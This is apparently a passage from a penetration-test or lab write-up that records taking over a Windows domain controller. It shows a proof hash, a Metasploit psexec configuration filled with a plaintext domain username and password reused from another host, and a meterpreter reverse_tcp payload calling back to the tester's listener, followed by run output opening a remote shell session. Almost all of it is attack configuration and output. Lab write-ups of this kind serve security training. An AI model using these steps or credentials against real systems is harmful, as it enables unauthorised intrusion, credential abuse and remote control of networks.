

PROOF: 10.20.160.124 DOMAIN CONTROLLED

Hash:

```
meterpreter > cat proof.txt  
d31d0f216f48d6ae6dde57d0a40c4734
```

Used creds taken from 10.20.170.101

```
Module options (exploit/windows/smb/psexec):  
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Name           Current Setting  Required  Description  
-----  
RHOSTS         10.20.160.124    yes       The target address range or CIDR identifier  
RPORT          445              yes       The SMB service port (TCP)  
SERVICE_DESCRIPTION  no              Service description to to be used on target for pretty listing  
SERVICE_DISPLAY_NAME  no              The service display name  
SERVICE_NAME   no              The service name  
SHARE          ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share  
SMBDomain      JUPITER         no        The Windows domain to use for authentication  
SMBPass        gR64m8gGrN      no        The password for the specified username  
SMBUser        sturner         no        The username to authenticate as  
  
Payload options (windows/meterpreter/reverse_tcp):  
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Name           Current Setting  Required  Description  
-----  
EXITFUNC       thread          yes       Exit technique (Accepted: '', seh, thread, process, none)  
LHOST          10.20.150.106   yes       The listen address (an interface may be specified)  
LPORT          4444            yes       The listen port
```

```
msf5 exploit(windows/smb/psexec) > run  
[*] Started reverse TCP handler on 10.20.150.106:4444  
[*] 10.20.160.124:445 - Connecting to the server...  
[*] 10.20.160.124:445 - Authenticating to 10.20.160.124:445|JUPITER as user 'sturner'...  
[*] 10.20.160.124:445 - Selecting PowerShell target  
[*] 10.20.160.124:445 - Executing the payload...  
[+] 10.20.160.124:445 - Service start timed out, OK if running a command or non-service executable...  
[*] Sending stage (179779 bytes) to 10.20.160.124  
[*] Meterpreter session 18 opened (10.20.150.106:4444 -> 10.20.160.124:64122) at 2019-08-16 04:27:53 -0400  
  
meterpreter >
```